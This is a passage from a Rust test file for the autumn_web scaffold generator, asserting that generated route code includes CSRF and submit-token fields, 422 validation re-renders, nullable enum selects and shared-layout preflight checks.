"redirect handlers must fully-qualify autumn_web::Redirect::to: {routes}"
);
assert!(
routes.contains("-> AutumnResult<autumn_web::Redirect>"),
"destroy handler must fully-qualify its return type: {routes}"
);
}
// ── enum field: nullable (issue #1030) ──────────────────────────────────
fn plan_and_execute_post_scaffold_with_nullable_status_enum(tmp: &TempDir) {
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"status:Option<enum{draft,published}>".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
}
#[test]
fn scaffold_nullable_enum_create_form_has_unset_placeholder() {
// A nullable enum renders through `select_input` with an "— Unset —"
// placeholder as its blank option (issue #1124).
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_nullable_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(
".override_field(\"status\", autumn_web::form::FieldControl::Select { options: vec![(\"\".into(), \"— Unset —\".into()), (\"draft\".into(), \"Draft\".into()), (\"published\".into(), \"Published\".into())] })"
),
"got:\n{routes}"
);
}
#[test]
fn scaffold_nullable_enum_edit_form_seed_maps_option_variant() {
// The `From<&Post>` seed maps `Option<Status>` to an `Option<String>`
// token; `select_input` then marks the matching option (issue #1124).
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_nullable_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(
"status: row.status.as_ref().map(|value| match value { Status::Draft => \"draft\".to_string(), Status::Published => \"published\".to_string(), }),"
),
"got:\n{routes}"
);
}
#[test]
fn scaffold_nullable_enum_form_is_option_string_with_transpose() {
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_nullable_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("pub status: Option<String>,"),
"got:\n{routes}"
);
assert!(
routes.contains("form.status.as_deref()") && routes.contains(".transpose()"),
"got:\n{routes}"
);
}
#[test]
fn execute_writes_csrf_aware_form_handlers() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains(
"use autumn_web::security::{CsrfFormField, CsrfToken, SubmitFormField, SubmitToken};"
));
assert!(routes.contains("fn csrf_input("));
assert!(routes.contains("input type=\"hidden\" name=(csrf_field_name"));
assert!(routes.contains("value=(csrf.token());"));
assert!(routes.contains("pub async fn new_form("));
assert!(routes.contains("csrf: Option<CsrfToken>"));
assert!(routes.contains("csrf_field: Option<CsrfFormField>"));
assert!(routes.contains("(csrf_input(csrf.as_ref(), csrf_field.as_ref()))"));
assert!(routes.contains("pub async fn edit_form("));
// Issue #1360: one-time submit token embedded in create/update forms and
// threaded through the create/update handlers. The hidden field's `name`
// is bound at runtime to the configured `security.submit_token.field_name`
// (via the `SubmitFormField` extractor), not hardcoded — mirroring CSRF —
// so a custom field name still matches what `SubmitTokenLayer` scans for.
assert!(routes.contains("fn submit_token_input("));
assert!(routes.contains(
"let submit_field_name = field.map(|field| field.0.as_str()).unwrap_or(\"_submit_token\");"
));
assert!(routes.contains(
"input type=\"hidden\" name=(submit_field_name) value=(submit_token.token());"
));
// The hidden field is never emitted under a hardcoded `_submit_token` name.
assert!(!routes.contains("name=\"_submit_token\""));
assert!(routes.contains("submit_token: Option<SubmitToken>"));
assert!(routes.contains("submit_field: Option<SubmitFormField>"));
assert!(routes.contains("submit_token.as_ref()"));
assert!(routes.contains("submit_field.as_ref()"));
assert!(routes.contains("submit_token_input(submit_token, submit_field)"));
// Issue #1360 (finding G): the token must be emitted at the FRONT of the
// form via `.prepend(...)`, not appended after the derived fields —
// `SubmitTokenLayer` only scans the first chunk of the URL-encoded body,
// so a large earlier field could otherwise push an appended token past
// the scan cap and leave duplicate submits unguarded.
assert!(
routes.contains("form.prepend(submit_token_input(submit_token, submit_field))"),
"standard form must prepend the submit token, not append it:\n{routes}"
);
assert!(
!routes.contains("form.append(submit_token_input"),
"submit token must not be appended after derived fields:\n{routes}"
);
}
// ── Changeset validation round-trip (issue #1124) ──────────────────
//
// A rejected submission must re-render the same form at HTTP 422 with the
// user's input preserved and per-field errors shown inline, instead of the
// old decode-and-insert path that landed on a 400 error page with input
// lost. The generator promotes the internal decode struct to a public,
// validating `{Pascal}Form` (derives Serialize + validator::Validate +
// Default), and the handlers build a `Changeset` from it.
#[test]
fn execute_writes_model_form_struct() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec!["title=length:min=1".into()],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("pub struct PostForm"),
"generator must emit a named, public form struct: {routes}"
);
assert!(
routes.contains("serde::Serialize"),
"PostForm must derive Serialize so Changeset::field_value can \
repopulate inputs: {routes}"
);
assert!(
routes.contains("validator::Validate"),
"PostForm must derive Validate so into_changeset() validates: {routes}"
);
assert!(
routes.contains("Default"),
"PostForm must derive Default for the blank new-form changeset: {routes}"
);
assert!(
routes.contains("#[validate(length(min = 1))]"),
"PostForm must echo the declared validation rule: {routes}"
);
assert!(
routes.contains("impl From<&Post> for PostForm"),
"generator must emit a From<&Row> to seed the edit-form changeset: {routes}"
);
}
#[test]
fn execute_writes_changeset_validated_create_handler() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec!["title=length:min=1".into()],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// AC1: handlers build a changeset from the submitted body.
assert!(
routes.contains("into_changeset()"),
"create/update must build a changeset from the submission: {routes}"
);
assert!(
routes.contains("is_valid()"),
"handler must branch on changeset validity: {routes}"
);
// AC2: failed submission re-renders at 422, not a 400 error page.
assert!(
routes.contains("StatusCode::UNPROCESSABLE_ENTITY"),
"handler must respond 422 on a rejected submission: {routes}"
);
// AC7: the create/update handlers re-render at 422 rather than
// dead-ending on a rejected submission. (A truly undecodable body still
// 400s in `decode_form`, matching ChangesetForm's own contract — the
// 422 path is exclusively for validator-rule failures.)
assert!(
routes.contains("into_response()"),
"the changeset re-render returns a Response, not a bare Markup 400: {routes}"
);
}
#[test]
fn execute_new_and_edit_forms_render_via_form_for() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&[
"title:String".into(),
"rank:i32".into(),
"published:bool".into(),
"published_at:NaiveDateTime".into(),
],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
validations: vec!["title=length:min=1".into()],
..ModelOptions::default()
},
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Issue #1135: new/edit render the whole form through one shared
// `form_for` helper — control selection per column (text/number/
// checkbox/datetime, required or not) lives in the derived
// `FormModel` descriptors, so the routes file carries no per-field
// input lines at all.
let new_form_start = routes
.find("pub async fn new_form")
.expect("new_form handler");
let create_start = routes.find("pub async fn create(").expect("create handler");
let new_form_body = &routes[new_form_start..create_start];
assert_eq!(
new_form_body.matches("post_form_for(&changeset").count(),
1,
"the new view must render via exactly one form_for call: {new_form_body}"
);
let edit_form_start = routes
.find("pub async fn edit_form")
.expect("edit_form handler");
let update_start = routes.find("pub async fn update(").expect("update handler");
let edit_form_body = &routes[edit_form_start..update_start];
assert_eq!(
edit_form_body.matches("post_form_for(&changeset").count(),
1,
"the edit view must render via exactly one form_for call: {edit_form_body}"
);
for helper in [
"required_text_input",
"required_number_input",
"checkbox_input",
"required_datetime_input",
] {
assert!(
!routes.contains(&format!("autumn_web::form::{helper}(&changeset")),
"no per-field {helper} lines may remain: {routes}"
);
}
// The old hand-rolled bare-HTML text input must be gone for standard fields.
assert!(
!routes.contains(r#"input type="text" name="title""#),
"standard fields must no longer be hand-rolled: {routes}"
);
}
#[test]
fn execute_live_validation_inline_posts_drop_the_submit_token() {
// Finding F (issue #1360): a `--live-validation` field posts its inline
// validation with `hx-include="closest form"`, so that POST would carry
// the hidden one-time `_submit_token` to the guarded `/validate/...`
// route and consume it — the real create submit would then replay the
// validation fragment instead of running the mutation. The generated
// htmx input must drop the token via `hx-params="not _submit_token"`,
// while the real create/update form still embeds it.
let tmp = project_with_main(default_main());
// A DSL-constrained `String` auto-derives a `length` rule, so `title` is
// validated and renders through the typed `a11y::TextField` primitive
// carrying the htmx wiring via `.hx()` (issue #1951).
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String{min=3,max=120}".into()],
"20260427000000",
&ScaffoldOptions {
live_validation: true,
..ScaffoldOptions::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The constrained validated input keeps its inline-validation wiring,
// now threaded through the primitive's `.hx()` escape hatch and the
// typed path helper (#1823/#1951) rather than a raw `hx-post` attribute.
assert!(
routes.contains(".hx(\"post\", paths::validate_title())"),
"title must keep its htmx inline-validation wiring via `.hx()`:\n{routes}"
);
// ...but filters the one-time submit token out of that POST so the
// inline validation never consumes it.
assert!(
routes.contains(".hx(\"params\", \"not _submit_token\")"),
"live-validation inputs must drop _submit_token from the inline POST:\n{routes}"
);
// The inline-validate handler returns the SAME fragment (byte-identical
// for the htmx `outerHTML` swap), so it must carry the filter too.
let validate_title = &routes[routes
.find("pub async fn validate_title(")
.expect("validate_title handler")..];
assert!(
validate_title[..validate_title[1..]
.find("#[post(")
.map_or(validate_title.len(), |rel| rel + 1)]
.contains(".hx(\"params\", \"not _submit_token\")"),
"the validate_title fragment must also drop the submit token:\n{validate_title}"
);
// The real create/update form still embeds the submit token so the
// mutation stays guarded against duplicate submits.
assert!(
routes.contains("submit_token_input(submit_token.as_ref(), submit_field.as_ref())"),
"the create/update form must still carry the submit token:\n{routes}"
);
// Issue #1951 byte-identity guarantee: htmx swaps `outerHTML` on the
// whole `[data-autumn-field-wrapper]`, so the field the form first
// renders and the fragment the `validate_title` handler returns must be
// byte-identical. Both are emitted by the shared
// `render_live_constrained_field`, so extract the `title-field` wrapper
// block from the first (form) occurrence and from the validate handler
// and assert they match after normalizing insignificant leading
// whitespace (which maud does not render).
let extract_block = |src: &str, start: usize| -> String {
let open = src[start..].find('{').expect("wrapper `{`") + start;
let mut depth = 0usize;
for (i, ch) in src[open..].char_indices() {
match ch {
'{' => depth += 1,
'}' => {
depth -= 1;
if depth == 0 {
return src[start..=open + i].to_owned();
}
}
_ => {}
}
}
panic!("unbalanced wrapper block");
};
let normalize =
|block: &str| -> String { block.lines().map(str::trim).collect::<Vec<_>>().join("\n") };
let form_start = routes
.find("div id=\"title-field\"")
.expect("form title-field");
let form_block = extract_block(&routes, form_start);
let frag_offset = routes
.find("pub async fn validate_title(")
.expect("validate_title handler");
let frag_start = frag_offset
+ routes[frag_offset..]
.find("div id=\"title-field\"")
.expect("fragment title-field");
let frag_block = extract_block(&routes, frag_start);
assert_eq!(
normalize(&form_block),
normalize(&frag_block),
"the initial-rendered field and the validate_title fragment must be \
byte-identical (modulo insignificant whitespace) for the htmx \
outerHTML swap"
);
}
#[test]
fn execute_writes_edit_form_with_prefilled_values_and_nullable_optional_inputs() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"subtitle:Option<String>".into(),
"views:Option<i64>".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Prefilling on the edit form now flows through the changeset: the
// `From<&Post>` seed copies each row value into the form, and the
// changeset-aware helpers repopulate the `value` (issue #1124).
assert!(
routes.contains("impl From<&Post> for PostForm"),
"edit form must seed a changeset from the loaded row: {routes}"
);
assert!(
routes.contains("title: row.title.clone(),"),
"seed must copy required fields from the loaded row: {routes}"
);
assert!(
routes.contains("subtitle: row.subtitle.clone(),"),
"seed must copy nullable text fields from the loaded row: {routes}"
);
assert!(
routes.contains("views: row.views.clone(),"),
"seed must copy nullable numeric fields from the loaded row: {routes}"
);
// The nullable numeric control itself comes from the derived
// `FormModel` descriptors (Option<i64> → non-required number input);
// the routes file needs no per-field code or override for it.
assert!(
!routes.contains(".override_field(\"views\""),
"plain numeric fields need no form_for override: {routes}"
);
}
#[test]
fn execute_writes_form_decoder_that_drops_blank_nullable_fields() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"nickname:Option<String>".into(),
"views:Option<i64>".into(),
"published_at:Option<NaiveDateTime>".into(),
"token:Option<Uuid>".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("use autumn_web::reexports::axum::body::Bytes;"),
"generated routes must be able to inspect raw form bytes: {routes}"
);
// Issue #1830: no-owner scaffolds now also record-authorize their
// mutating handlers, so `State`/`Session` are threaded in before the
// body-consuming `Bytes` extractor (which stays last).
assert!(
routes.contains("pub async fn create(flash: Flash, csrf: Option<CsrfToken>, csrf_field: Option<CsrfFormField>, submit_token: Option<SubmitToken>, submit_field: Option<SubmitFormField>, mut db: Db, \n autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,\n session: autumn_web::session::Session,\n body: Bytes)"),
"create must decode after blank nullable normalization: {routes}"
);
assert!(
routes.contains(
"pub async fn update(\n flash: Flash,\n csrf: Option<CsrfToken>,\n csrf_field: Option<CsrfFormField>,\n submit_token: Option<SubmitToken>,\n submit_field: Option<SubmitFormField>,\n id: Path<i64>,\n mut db: Db,\n autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,\n session: autumn_web::session::Session,\n body: Bytes,\n)"
),
"update must decode after blank nullable normalization: {routes}"
);
// Both handlers decode to the form via the generated decoder, then
// validate through a changeset (issue #1124).
assert!(
routes.contains("let form = decode_form(body)?;"),
"handlers must use the generated decoder: {routes}"
);
assert!(
routes.contains(r#"matches!(name, "nickname" | "views" | "published_at" | "token")"#),
"decoder must drop blank submissions for every nullable field: {routes}"
);
}
#[test]
fn execute_writes_a_repository_with_json_api_attribute() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(repo.contains("#[autumn_web::repository(Post, api = \"/api/posts\")]"));
assert!(repo.contains("pub trait PostRepository"));
}
#[test]
fn execute_updates_main_rs_with_mods_and_routes() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(main.contains("mod models;"));
assert!(main.contains("mod routes;"));
assert!(main.contains("mod schema;"));
assert!(main.contains("mod repositories;"));
assert!(main.contains("routes::posts::index"));
assert!(main.contains("routes::posts::show"));
assert!(main.contains("routes::posts::new_form"));
assert!(main.contains("routes::posts::create"));
assert!(main.contains("routes::posts::edit_form"));
assert!(main.contains("routes::posts::update"));
assert!(main.contains("routes::posts::destroy"));
assert!(main.contains("repositories::post::post_api_list"));
assert!(main.contains("repositories::post::post_api_get"));
assert!(!main.contains("repositories::post::post_api_create"));
assert!(!main.contains("repositories::post::post_api_update"));
assert!(!main.contains("repositories::post::post_api_delete"));
}
#[test]
fn scaffold_emits_flash_messages_and_destroy_handler() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Flash (and the shared flash_messages helper) is imported and set on
// every mutating action before the redirect.
assert!(
routes.contains("use autumn_web::flash::{Flash, flash_messages};"),
"routes file must import Flash and flash_messages: {routes}"
);
assert!(routes.contains(r#"flash.success("Post created")"#));
assert!(routes.contains(r#"flash.success("Post updated")"#));
assert!(routes.contains(r#"flash.success("Post deleted")"#));
// A destroy handler now exists, wired as a browser-friendly POST.
assert!(routes.contains("pub async fn destroy("));
assert!(routes.contains(r#"#[post("/posts/{id}/delete", name = "delete")]"#));
// The edit page exposes a delete control that targets it, through the
// typed path helper (issue #1133).
assert!(routes.contains("paths::delete(*id)"));
// Issue #1130: the standard scaffold no longer emits a private layout
// stub — every view renders through the app's shared `crate::layout`.
assert!(
!routes.contains("fn layout(title: &str, flash: Markup, content: Markup)"),
"standard scaffold must not define a private layout stub: {routes}"
);
assert!(
!routes.contains("Replace with your real layout"),
"the private-layout doc comment must be gone: {routes}"
);
assert!(
routes.contains("crate::layout("),
"views must render through the shared crate::layout: {routes}"
);
// Issue #1240: flash renders through the shared accessible helper, not
// the older `flash.render()`.
assert!(
!routes.contains("flash.render().await"),
"flash must not use the old flash.render() path: {routes}"
);
assert!(
routes.contains("flash_messages(&flash.consume().await)"),
"flash must render through the shared flash_messages() helper: {routes}"
);
// main.rs registers the new destroy route.
let main = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(
main.contains("routes::posts::destroy"),
"main.rs must register the destroy route: {main}"
);
}
/// Issue #1130, AC 1/2/6: every scaffolded view (`index`, `show`,
/// `new_form`, `edit_form`) renders through the application's shared
/// `crate::layout(title, current_path, flash, content)` with the correct
/// four arguments, and the private layout stub (and its "Replace with your
/// real layout" comment) is gone.
#[test]
fn scaffold_views_render_through_shared_layout() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// No private layout definition survives (AC 1/3/6).
assert!(
!routes.contains("fn layout("),
"no private layout may be defined in the routes file: {routes}"
);
assert!(
!routes.contains("Replace with your real layout"),
"the private-layout doc comment must be gone: {routes}"
);
// Every view renders through the shared layout with a 4-arg call
// supplying a `current_path` (AC 1/2).
assert!(
routes.contains(
"crate::layout(\"Post index\", \"/posts\", flash_messages(&flash.consume().await),"
),
"index must render through crate::layout with current_path: {routes}"
);
assert!(
routes.contains("crate::layout(&format!(\"Post #{}\", row.id), \"/posts\", flash_messages(&flash.consume().await),"),
"show must render through crate::layout with current_path: {routes}"
);
assert!(
routes.contains("crate::layout(\"New Post\", \"/posts/new\", flash_messages(&flash.consume().await),"),
"new_form must render through crate::layout with current_path: {routes}"
);
assert!(
routes.contains("crate::layout(&format!(\"Edit Post #{}\", *id), \"/posts\", flash_messages(&flash.consume().await),"),
"edit_form must render through crate::layout with current_path: {routes}"
);
}
/// Issue #1240 (create/update sub-AC): the write-path re-render branches of
/// `create` and `update` render pending flash through the shared
/// `flash_messages()` helper (accessible role/aria-live), not the bare
/// `flash.render()`.
#[test]
fn scaffold_create_update_render_flash_via_shared_helper() {
let tmp = project_with_main(default_main());
// A `unique` field forces the create/update 422 re-render branches to
// splice the shared form body, exercising the write-path flash arg.
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String:unique".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("use autumn_web::flash::{Flash, flash_messages};"),
"routes must import the shared flash_messages helper: {routes}"
);
assert!(
!routes.contains("flash.render()"),
"no view may use the older flash.render(): {routes}"
);
// The create and update handlers both re-render the form on the 422
// path; that shared body must carry the shared helper call.
let occurrences = routes
.matches("flash_messages(&flash.consume().await)")
.count();
assert!(
occurrences >= 4,
"index/show/new/edit (and the create/update re-renders) must all use \
flash_messages; found {occurrences} occurrences: {routes}"
);
}
/// Issue #1130, AC 3: generating multiple resources into the same app
/// produces zero duplicated layout definitions — no generated routes file
/// defines `layout` anymore.
#[test]
fn scaffold_multiple_resources_have_no_duplicate_layout() {
let tmp = project_with_main(default_main());
for (name, ts) in [("Post", "20260427000000"), ("Comment", "20260427000001")] {
let plan = plan_scaffold(tmp.path(), name, &["title:String".into()], ts).unwrap();
plan.execute(Flags::default()).unwrap();
}
let posts = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let comments = fs::read_to_string(tmp.path().join("src/routes/comments.rs")).unwrap();
assert!(
!posts.contains("fn layout(") && !comments.contains("fn layout("),
"no generated routes file may define its own layout"
);
}
/// Issue #1130, AC 4: scaffolding HTML views into an app with no shared
/// `pub fn layout` fails with an actionable error rather than emitting
/// routes that reference a nonexistent layout.
#[test]
fn scaffold_without_shared_layout_errors() {
let tmp = project_with_main(main_without_layout());
let err = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap_err();
match err {
GenerateError::Config(msg) => {
assert!(
msg.contains("pub fn layout") && msg.contains("autumn new"),
"error must be actionable about the missing shared layout: {msg}"
);
}
other => panic!("expected an actionable Config error, got: {other:?}"),
}
}
/// Issue #1834: the shared-layout preflight is a generate-time guard only —
/// it must NOT fire on the `autumn destroy scaffold` / revert path, or
/// cleanup would hard-fail in a project whose shared `pub fn layout` is
/// missing or renamed (e.g. one scaffolded by an older CLI), stranding the
/// generated files. The revert-only plan builder must therefore succeed even
/// when `src/main.rs` exposes no shared 4-arg layout, while still planning
/// the routes file it will remove.
#[test]
fn scaffold_for_revert_succeeds_without_shared_layout() {
let tmp = project_with_main(main_without_layout());
let plan = plan_scaffold_with_options_for_revert(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions::default(),
)
.expect("destroy scaffold must build its revert plan without a shared layout");
// Sanity: it still plans the HTML routes file a normal scaffold would, so
// `Plan::revert` has something to remove.
assert!(
plan.actions.iter().any(|a| {
a.path()
.display()
.to_string()
.replace('\\', "/")
.ends_with("src/routes/posts.rs")
}),
"revert plan should still include the HTML routes file it will remove"
);
// And the generate path over the SAME project still fails fast — the
// guard is bypassed only for revert, never weakened for generation.
let err = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap_err();
assert!(
matches!(err, GenerateError::Config(ref msg) if msg.contains("pub fn layout")),
"generate path must still reject a missing shared layout: {err:?}"
);
}
/// Issue #1130, AC 4: live scaffolds emit their OWN private 3-arg
/// `fn layout` and never call `crate::layout`, so the shared-layout
/// preflight must not run for them. Scaffolding `--live` into an app with
/// no shared `pub fn layout` must succeed (reach route generation) rather
/// than wrongly returning the shared-layout Config error.
#[test]
fn scaffold_live_without_shared_layout_succeeds() {
let tmp = project_with_main(main_without_layout());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
live: true,
..Default::default()
},
)
.expect("live scaffold is self-contained and needs no shared layout");
// The live scaffold still emits an HTML routes file — it just renders
// through its own private layout, not `crate::layout`.
assert!(
plan.actions.iter().any(|a| {
a.path()
.display()
.to_string()
.replace('\\', "/")
.ends_with("src/routes/posts.rs")
}),
"live scaffold must still plan an HTML routes file"
);
}
/// Issue #1130, AC 4: a `pub fn layout` with the wrong arity (e.g. an older
/// 2-arg `pub fn layout(title, content)`) does NOT match the 4-arg
/// `crate::layout(title, current_path, flash, content)` the scaffold emits,
/// so the routes would fail to compile. Detect this at preflight and return
/// the actionable Config error rather than passing on a mismatched layout.
#[test]
fn scaffold_with_wrong_arity_layout_errors() {
let wrong_arity_main = r#"use autumn_web::prelude::*;
pub fn layout(title: &str, content: maud::Markup) -> maud::Markup {
maud::html! {
title { (title) }
(content)
}
}
#[get("/")]
async fn index() -> &'static str { "ok" }
#[autumn_web::main]
async fn main() {
autumn_web::app()
.routes(routes![index])
.run()
.await;
}
"#;
let tmp = project_with_main(wrong_arity_main);
let err = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap_err();
match err {
GenerateError::Config(msg) => {
assert!(
msg.contains("pub fn layout") && msg.contains("autumn new"),
"a 2-arg `pub fn layout` must not satisfy the shared-layout \
check; error must stay actionable: {msg}"
);
}
other => panic!("expected an actionable Config error, got: {other:?}"),
}
}
/// Issue #1130, AC 4: a decoy `pub fn layout_sidebar` (a name that merely
/// starts with `layout`) must NOT satisfy the shared-layout check — only a
/// real 4-arg `pub fn layout(...)` counts. Scaffolding against such an app
/// still fails with the actionable Config error.
#[test]
fn scaffold_with_decoy_layout_prefix_errors() {
let decoy_main = r#"use autumn_web::prelude::*;
pub fn layout_sidebar(title: &str) -> maud::Markup {
maud::html! { title { (title) } }
}
#[get("/")]
async fn index() -> &'static str { "ok" }
#[autumn_web::main]
async fn main() {
autumn_web::app()
.routes(routes![index])
.run()
.await;
}
"#;
let tmp = project_with_main(decoy_main);
let err = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap_err();
match err {
GenerateError::Config(msg) => {
assert!(
msg.contains("pub fn layout") && msg.contains("autumn new"),
"a `layout_sidebar` decoy must not satisfy the shared-layout \
check; error must stay actionable: {msg}"
);
}
other => panic!("expected an actionable Config error, got: {other:?}"),
}
}
/// Issue #1130, AC 4: a commented-out `pub fn layout` decoy that appears on
/// a line ABOVE the real 4-arg `pub fn layout(...)` must NOT short-circuit
/// the shared-layout check. The scanner must ignore the commented match and
/// find the real one, so the scaffold succeeds (reaches route generation).
#[test]
fn scaffold_layout_commented_decoy_above_real_is_accepted() {
let commented_then_real = r#"use autumn_web::prelude::*;
// pub fn layout(title, content) -- old 2-arg signature, kept for reference
pub fn layout(title: &str, current_path: &str, flash: maud::Markup, content: maud::Markup) -> maud::Markup {
let _ = (current_path, flash);
maud::html! {
title { (title) }
(content)
}
}
#[get("/")]
async fn index() -> &'static str { "ok" }
#[autumn_web::main]
async fn main() {
autumn_web::app()
.routes(routes![index])
.run()
.await;
}
"#;
let tmp = project_with_main(commented_then_real);
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.expect("a real 4-arg layout below a commented decoy must satisfy the check");
assert!(
plan.actions.iter().any(|a| {
a.path()
.display()
.to_string()
.replace('\\', "/")
.ends_with("src/routes/posts.rs")
}),
"scaffold must plan an HTML routes file when a real shared layout exists"
);
}
/// Issue #1130, AC 4: a `pub fn layout(...)` token that only appears inside a
/// comment (with no real crate-root layout function) must NOT satisfy the
/// shared-layout check — the generated routes would call a nonexistent
/// `crate::layout`. The scanner must ignore commented tokens and still fail
/// with the actionable Config error.
#[test]
fn scaffold_layout_only_in_comment_errors() {
let only_comment_main = r#"use autumn_web::prelude::*;
// pub fn layout(title, current_path, flash, content) -- TODO: add a shared layout
#[get("/")]
async fn index() -> &'static str { "ok" }
#[autumn_web::main]
async fn main() {
autumn_web::app()
.routes(routes![index])
.run()
.await;
}
"#;
let tmp = project_with_main(only_comment_main);
let err = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap_err();
match err {
GenerateError::Config(msg) => {
assert!(
msg.contains("pub fn layout") && msg.contains("autumn new"),
"a commented-only `pub fn layout` must not satisfy the \
shared-layout check; error must stay actionable: {msg}"
);
}
other => panic!("expected an actionable Config error, got: {other:?}"),
}
}
/// Issue #1130, AC 4: `--api` scaffolds emit no HTML views, so they need no
/// shared layout and must still succeed against a layout-less app.
#[test]
fn scaffold_api_only_without_layout_succeeds() {
let tmp = project_with_main(main_without_layout());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.expect("api-only scaffold needs no shared layout");
plan.execute(Flags::default()).unwrap();
assert!(
!tmp.path().join("src/routes/posts.rs").exists(),
"api-only scaffold must not emit an HTML routes file"
);
}
#[test]
fn execute_writes_smoke_test() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(test.contains("posts_index_renders_scaffolded_rows"));
assert!(!test.contains("AUTUMN_TEST_SESSION_COOKIE"));
assert!(!test.contains("Cookie: {session_cookie}"));
assert!(test.contains("/posts"));
}
// ── write-path CRUD smoke tests (issue #1127) ─────────────────────────
#[test]
fn smoke_test_emits_write_path_crud_and_validation_rerender() {
// Issue #1127: the generated suite must exercise create/update/delete
// AND the validation-failure re-render, not just the read index — even
// for a resource that declares no `--validate` rules of its own (the
// write-path stand-in carries its own validated field).
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
// The write-path test function is present.
assert!(
test.contains("async fn posts_write_path_crud()"),
"write-path CRUD test must be emitted: {test}"
);
// Create (happy path): POST that redirects (303) to the index route.
assert!(
test.contains(".post(\"/posts\")"),
"must POST to the create route: {test}"
);
assert!(
test.contains(".assert_status(303)"),
"create/update/delete must assert a 302/303 redirect: {test}"
);
assert!(
